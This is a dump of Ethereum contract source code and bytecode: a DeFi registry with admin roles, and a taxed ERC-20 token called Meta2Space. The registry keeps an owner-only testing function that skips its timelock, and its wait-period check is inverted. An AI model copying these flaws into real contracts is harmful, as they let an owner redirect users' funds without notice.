if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
} contract AdminAuth {
using SafeERC20 for ERC20;
address public owner;
address public admin;
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
constructor() public {
owner = msg.sender;
}
/// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner
/// @param _admin Address of multisig that becomes admin
function setAdminByOwner(address _admin) public {
require(msg.sender == owner);
require(admin == address(0));
admin = _admin;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function setAdminByAdmin(address _admin) public {
require(msg.sender == admin);
admin = _admin;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function setOwnerByAdmin(address _owner) public {
require(msg.sender == admin);
owner = _owner;
}
/// @notice Destroy the contract
function kill() public onlyOwner {
selfdestruct(payable(owner));
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, uint _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(owner).transfer(_amount);
} else {
ERC20(_token).safeTransfer(owner, _amount);
}
}
} contract DefisaverLogger {
event LogEvent(
address indexed contractAddress,
address indexed caller,
string indexed logName,
bytes data
);
// solhint-disable-next-line func-name-mixedcase
function Log(address _contract, address _caller, string memory _logName, bytes memory _data)
public
{
emit LogEvent(_contract, _caller, _logName, _data);
}
} /// @title Stores all the important DFS addresses and can be changed (timelock)
contract Registry is AdminAuth {
DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126);
struct Entry {
address contractAddr;
uint waitPeriod;
uint changeStartTime;
bool inChange;
bool exists;
}
mapping (bytes32 => Entry) public entries;
mapping (bytes32 => address) public pendingAddresses;
/// @notice Given an contract id returns the registred address
/// @dev Id is kecceak256 of the contract name
/// @param _id Id of contract
function getAddr(bytes32 _id) public view returns (address) {
return entries[_id].contractAddr;
}
/////////////////////////// ADMIN ONLY FUNCTIONS ///////////////////////////
// TODO: REMOVE ONLY FOR TESTING
function changeInsant(bytes32 _id, address _contractAddr) public onlyOwner {
entries[_id].contractAddr = _contractAddr;
}
/// @notice Adds a new contract to the registry
/// @param _id Id of contract
/// @param _contractAddr Address of the contract
/// @param _waitPeriod Amount of time to wait before a contract address can be changed
function addNewContract(bytes32 _id, address _contractAddr, uint _waitPeriod) public onlyOwner {
require(!entries[_id].exists, "Entry id already exists");
entries[_id] = Entry({
contractAddr: _contractAddr,
waitPeriod: _waitPeriod,
changeStartTime: 0,
inChange: false,
exists: true
});
logger.Log(address(this), msg.sender, "AddNewContract", abi.encode(_id, _contractAddr, _waitPeriod));
}
/// @notice Starts an address change for an existing entry
/// @dev Can override a change that is currently in progress
/// @param _id Id of contract
/// @param _newContractAddr Address of the new contract
function startContractChange(bytes32 _id, address _newContractAddr) public onlyOwner {
require(entries[_id].exists, "Entry id doesn't exists");
entries[_id].changeStartTime = now;
entries[_id].inChange = true;
pendingAddresses[_id] = _newContractAddr;
logger.Log(address(this), msg.sender, "StartChange", abi.encode(_id, entries[_id].contractAddr, _newContractAddr));
}
/// @notice Changes new contract address, correct time must have passed
/// @dev Can override a change that is currently in progress
/// @param _id Id of contract
function approveContractChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, "Entry id doesn't exists");
require(entries[_id].inChange, "Entry not in change process");
require((entries[_id].changeStartTime + entries[_id].waitPeriod) > now, "Change not ready yet");
address oldContractAddr = entries[_id].contractAddr;
entries[_id].contractAddr = pendingAddresses[_id];
entries[_id].inChange = false;
entries[_id].changeStartTime = 0;
pendingAddresses[_id] = address(0);
logger.Log(address(this), msg.sender, "ApproveChange", abi.encode(_id, oldContractAddr, entries[_id].contractAddr));
}
/// @notice Cancel pending change
/// @param _id Id of contract
function cancelContractChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, "Entry id doesn't exists");
require(entries[_id].inChange, "Entry is not change process");
address oldContractAddr = pendingAddresses[_id];
pendingAddresses[_id] = address(0);
entries[_id].inChange = false;
entries[_id].changeStartTime = 0;
logger.Log(address(this), msg.sender, "CancelChange", abi.encode(_id, oldContractAddr, entries[_id].contractAddr));
}
/// @notice Changes wait period for an entry
/// @param _id Id of contract
/// @param _newWaitPeriod New wait time, must be bigger than before
function changeWaitPeriod(bytes32 _id, uint _newWaitPeriod) public onlyOwner {
require(entries[_id].exists, "Entry id doesn't exists");
require(_newWaitPeriod > entries[_id].waitPeriod, "New wait period must be bigger");
entries[_id].waitPeriod = _newWaitPeriod;
logger.Log(address(this), msg.sender, "ChangeWaitPeriod", abi.encode(_id, _newWaitPeriod));
}
} | 0x608060405234801561001057600080fd5b506004361061010a5760003560e01c806361fd78ce116100a2578063d09ae6ff11610071578063d09ae6ff146102e3578063deca5f881461030f578063e3976edf14610335578063f24ccbfe14610352578063f851a4401461035a5761010a565b806361fd78ce146102665780638da5cb5b14610283578063a7304bf71461028b578063c16229fa146102b15761010a565b80633a128322116100de5780633a128322146101d657806341c0e1b5146102025780634ccee9b61461020a57806355974ce8146102435761010a565b806215e5a11461010f57806310c172c61461013d5780631e48907b1461015a578063267b692214610180575b600080fd5b61013b6004803603604081101561012557600080fd5b50803590602001356001600160a01b0316610362565b005b61013b6004803603602081101561015357600080fd5b5035610564565b61013b6004803603602081101561017057600080fd5b50356001600160a01b031661075b565b61019d6004803603602081101561019657600080fd5b5035610794565b604080516001600160a01b0390961686526020860194909452848401929092521515606084015215156080830152519081900360a00190f35b61013b600480360360408110156101ec57600080fd5b506001600160a01b0381351690602001356107d3565b61013b61086c565b6102276004803603602081101561022057600080fd5b5035610891565b604080516001600160a01b039092168252519081900360200190f35b61013b6004803603604081101561025957600080fd5b50803590602001356108ac565b61013b6004803603602081101561027c57600080fd5b5035610a68565b610227610cd6565b61013b600480360360208110156102a157600080fd5b50356001600160a01b0316610ce5565b61013b600480360360608110156102c757600080fd5b508035906001600160a01b036020820135169060400135610d1e565b61013b600480360360408110156102f957600080fd5b50803590602001356001600160a01b0316610f73565b61013b6004803603602081101561032557600080fd5b50356001600160a01b0316610fb8565b6102276004803603602081101561034b57600080fd5b5035610fe5565b610227611000565b610227611018565b6000546001600160a01b0316331461037957600080fd5b600082815260026020526040902060030154610100900460ff166103de576040805162461bcd60e51b8152602060048201526017602482015276456e74727920696420646f65736e27742065786973747360481b604482015290519081900360640190fd5b600082815260026020818152604080842042818501556003808201805460ff19166001179055835281852080546001600160a01b038089166001600160a01b031990921682179092559484529054825180850189905291168183015260608082019490945281518082039094018452608080820192839052630d061ce560e41b90925230608482018181523360a4840181905260c48401948552600b6101048501526a53746172744368616e676560a81b61012485015260c060e4850190815287516101448601528751735c55b921f590a89c1ebe84df170e655a82b621269963d061ce5099959893979596949594929361016490930192870191908190849084905b838110156104f95781810151838201526020016104e1565b50505050905090810190601f1680156105265780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561054857600080fd5b505af115801561055c573d6000803e3d6000fd5b505050505050565b6000546001600160a01b0316331461057b57600080fd5b600081815260026020526040902060030154610100900460ff166105e0576040805162461bcd60e51b8152602060048201526017602482015276456e74727920696420646f65736e27742065786973747360481b604482015290519081900360640190fd5b60008181526002602052604090206003015460ff16610646576040805162461bcd60e51b815260206004820152601b60248201527f456e747279206973206e6f74206368616e67652070726f636573730000000000604482015290519081900360640190fd5b600081815260036020818152604080842080546001600160a01b031981169091556002808452828620948501805460ff191690558401859055925481518084018790526001600160a01b039485168184018190529490911660608083019190915282518083039091018152608080830193849052630d061ce560e41b90935230608483018181523360a4850181905260c48501958652600c6101048601526b43616e63656c4368616e676560a01b61012486015260c060e48601908152845161014487015284519899735c55b921f590a89c1ebe84df170e655a82b621269963d061ce5099959893979495939492936101649093019287019181908490849083156104f95781810151838201526020016104e1565b6001546001600160a01b0316331461077257600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b600260208190526000918252604090912080546001820154928201546003909201546001600160a01b0390911692919060ff8082169161010090041685565b6000546001600160a01b031633146107ea57600080fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b038316141561084e57600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610848573d6000803e3d6000fd5b50610868565b600054610868906001600160a01b03848116911683611027565b5050565b6000546001600160a01b0316331461088357600080fd5b6000546001600160a01b0316ff5b6000908152600260205260409020546001600160a01b031690565b6000546001600160a01b031633146108c357600080fd5b600082815260026020526040902060030154610100900460ff16610928576040805162461bcd60e51b8152602060048201526017602482015276456e74727920696420646f65736e27742065786973747360481b604482015290519081900360640190fd5b600082815260026020526040902060010154811161098d576040805162461bcd60e51b815260206004820152601e60248201527f4e6577207761697420706572696f64206d757374206265206269676765720000604482015290519081900360640190fd5b600082815260026020908152604080832060010184905580518083018690528082018590528151808203830181526060820192839052630d061ce560e41b90925230606482018181523360848401819052608060a48501908152601060e48601526f10da185b99d955d85a5d14195c9a5bd960821b61010486015260c060c4860190815286516101248701528651735c55b921f590a89c1ebe84df170e655a82b621269963d061ce509996989497949693949293610144909301928701919081908490849083156104f95781810151838201526020016104e1565b6000546001600160a01b03163314610a7f57600080fd5b600081815260026020526040902060030154610100900460ff16610ae4576040805162461bcd60e51b8152602060048201526017602482015276456e74727920696420646f65736e27742065786973747360481b604482015290519081900360640190fd5b60008181526002602052604090206003015460ff16610b4a576040805162461bcd60e51b815260206004820152601b60248201527f456e747279206e6f7420696e206368616e67652070726f636573730000000000604482015290519081900360640190fd5b6000818152600260208190526040909120600181015491015442910111610baf576040805162461bcd60e51b815260206004820152601460248201527310da185b99d9481b9bdd081c9958591e481e595d60621b604482015290519081900360640190fd5b60008181526002602081815260408084208054600380855283872080546001600160a01b03198085166001600160a01b03928316178655928501805460ff191690558488018990558154909216905594845290548251808501889052918516828401819052941660608083019190915282518083039091018152608080830193849052630d061ce560e41b90935230608483018181523360a4850181905260c48501958652600d6101048601526c417070726f76654368616e676560981b61012486015260c060e48601908152845161014487015284519899735c55b921f590a89c1ebe84df170e655a82b621269963d061ce50999598939794959394929361016490930192870191819084908490838110156104f95781810151838201526020016104e1565b6000546001600160a01b031681565b6001546001600160a01b03163314610cfc57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d3557600080fd5b600083815260026020526040902060030154610100900460ff1615610da1576040805162461bcd60e51b815260206004820152601760248201527f456e74727920696420616c726561647920657869737473000000000000000000604482015290519081900360640190fd5b6040805160a0810182526001600160a01b0384811680835260208084018681526000858701818152606080880183815260016080808b018281528f87526002808a528d88209c518d546001600160a01b0319169c169b909b178c559651918b0191909155925197890197909755955160039097018054935160ff199094169715159790971761ff001916610100931515939093029290921790955585518083018a9052808701939093528284018790528551808403909401845282810195869052630d061ce560e41b90955230608483018181523360a4850181905260c48501978852600e6101048601526d10591913995dd0dbdb9d1c9858dd60921b61012486015260c060e4860190815286516101448701528651735c55b921f590a89c1ebe84df170e655a82b621269963d061ce50999598939793969495909492936101640192870191908190849084905b83811015610f07578181015183820152602001610eef565b50505050905090810190601f168015610f345780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610f5657600080fd5b505af1158015610f6a573d6000803e3d6000fd5b50505050505050565b6000546001600160a01b03163314610f8a57600080fd5b60009182526002602052604090912080546001600160a01b0319166001600160a01b03909216919091179055565b6000546001600160a01b03163314610fcf57600080fd5b6001546001600160a01b031615610cfc57600080fd5b6003602052600090815260409020546001600160a01b031681565b735c55b921f590a89c1ebe84df170e655a82b6212681565b6001546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261107990849061107e565b505050565b60606110d3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661112f9092919063ffffffff16565b805190915015611079578080602001905160208110156110f257600080fd5b50516110795760405162461bcd60e51b815260040180806020018281038252602a81526020018061132b602a913960400191505060405180910390fd5b606061113e8484600085611146565b949350505050565b6060611151856112f1565b6111a2576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106111e15780518252601f1990920191602091820191016111c2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611243576040519150601f19603f3d011682016040523d82523d6000602084013e611248565b606091505b5091509150811561125c57915061113e9050565b80511561126c5780518082602001fd5b8360405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112b657818101518382015260200161129e565b50505050905090810190601f1680156112e35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061113e57505015159291505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212202a866f58bb2306e9dd97b0493aa5268a1d4f7e5b7ace6c77b3e1d3354ce8f15f64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 978 |
0x2865ab65504b00da6b3ee3e5970dcb5031208ca4 | /**
*Submitted for verification at Etherscan.io on 2022-01-05
*/
//SPDX-License-Identifier: None
// Telegram: https://t.me/meta2spaceMS
// Twitter: https://twitter.com/Meta2spaceMS
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=10;
uint256 constant TOTAL_SUPPLY=240000000;
string constant TOKEN_SYMBOL="MS";
string constant TOKEN_NAME="Meta2Space";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Meta2Space is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeBuyLimit() public onlyOwner{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100ec5760003560e01c806351bc3c851161008a57806395d89b411161005957806395d89b411461026a578063a9059cbb14610295578063dd62ed3e146102b5578063f4293890146102fb57600080fd5b806351bc3c85146101f857806370a082311461020d578063715018a61461022d5780638da5cb5b1461024257600080fd5b806323b872dd116100c657806323b872dd14610190578063293230b8146101b0578063313ce567146101c75780633e07ce5b146101e357600080fd5b806306fdde03146100f8578063095ea7b31461013d57806318160ddd1461016d57600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201909152600a8152694d65746132537061636560b01b60208201525b6040516101349190611312565b60405180910390f35b34801561014957600080fd5b5061015d61015836600461137c565b610310565b6040519015158152602001610134565b34801561017957600080fd5b50610182610327565b604051908152602001610134565b34801561019c57600080fd5b5061015d6101ab3660046113a8565b610348565b3480156101bc57600080fd5b506101c56103b1565b005b3480156101d357600080fd5b5060405160068152602001610134565b3480156101ef57600080fd5b506101c5610740565b34801561020457600080fd5b506101c5610789565b34801561021957600080fd5b506101826102283660046113e9565b61079f565b34801561023957600080fd5b506101c56107c1565b34801561024e57600080fd5b506000546040516001600160a01b039091168152602001610134565b34801561027657600080fd5b506040805180820190915260028152614d5360f01b6020820152610127565b3480156102a157600080fd5b5061015d6102b036600461137c565b610835565b3480156102c157600080fd5b506101826102d0366004611406565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561030757600080fd5b506101c5610842565b600061031d338484610895565b5060015b92915050565b60006103356006600a611539565b61034390630e4e1c00611548565b905090565b60006103558484846109b9565b6103a784336103a2856040518060600160405280602881526020016116e2602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610c3e565b610895565b5060019392505050565b6000546001600160a01b031633146103e45760405162461bcd60e51b81526004016103db90611567565b60405180910390fd5b600c54600160a01b900460ff161561043e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103db565b600b5461046a9030906001600160a01b031661045c6006600a611539565b6103a290630e4e1c00611548565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e1919061159c565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610543573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610567919061159c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d8919061159c565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306106088161079f565b60008061061d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610685573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106aa91906115b9565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073d91906115e7565b50565b6000546001600160a01b0316331461076a5760405162461bcd60e51b81526004016103db90611567565b6107766006600a611539565b61078490630e4e1c00611548565b600a55565b60006107943061079f565b905061073d81610c78565b6001600160a01b03811660009081526002602052604081205461032190610df2565b6000546001600160a01b031633146107eb5760405162461bcd60e51b81526004016103db90611567565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061031d3384846109b9565b4761073d81610e6f565b600061088e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ead565b9392505050565b6001600160a01b0383166108f75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103db565b6001600160a01b0382166109585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103db565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103db565b6001600160a01b038216610a7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103db565b60008111610ae15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103db565b6000546001600160a01b03848116911614801590610b0d57506000546001600160a01b03838116911614155b15610c2e57600c546001600160a01b038481169116148015610b3d5750600b546001600160a01b03838116911614155b8015610b6257506001600160a01b03821660009081526004602052604090205460ff16155b15610bb857600a548110610bb85760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d6974656400000000000060448201526064016103db565b6000610bc33061079f565b600c54909150600160a81b900460ff16158015610bee5750600c546001600160a01b03858116911614155b8015610c035750600c54600160b01b900460ff165b15610c2c57610c1181610c78565b47670de0b6b3a76400008110610c2a57610c2a47610e6f565b505b505b610c39838383610edb565b505050565b60008184841115610c625760405162461bcd60e51b81526004016103db9190611312565b506000610c6f8486611609565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cc057610cc0611620565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3d919061159c565b81600181518110610d5057610d50611620565b6001600160a01b039283166020918202929092010152600b54610d769130911684610895565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610daf908590600090869030904290600401611636565b600060405180830381600087803b158015610dc957600080fd5b505af1158015610ddd573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610e595760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103db565b6000610e63610ee6565b905061088e838261084c565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610ea9573d6000803e3d6000fd5b5050565b60008183610ece5760405162461bcd60e51b81526004016103db9190611312565b506000610c6f84866116a7565b610c39838383610f09565b6000806000610ef3611000565b9092509050610f02828261084c565b9250505090565b600080600080600080610f1b87611082565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f4d90876110df565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610f7c9086611121565b6001600160a01b038916600090815260026020526040902055610f9e81611180565b610fa884836111ca565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fed91815260200190565b60405180910390a3505050505050505050565b6005546000908190816110156006600a611539565b61102390630e4e1c00611548565b905061104b6110346006600a611539565b61104290630e4e1c00611548565b6005549061084c565b821015611079576005546110616006600a611539565b61106f90630e4e1c00611548565b93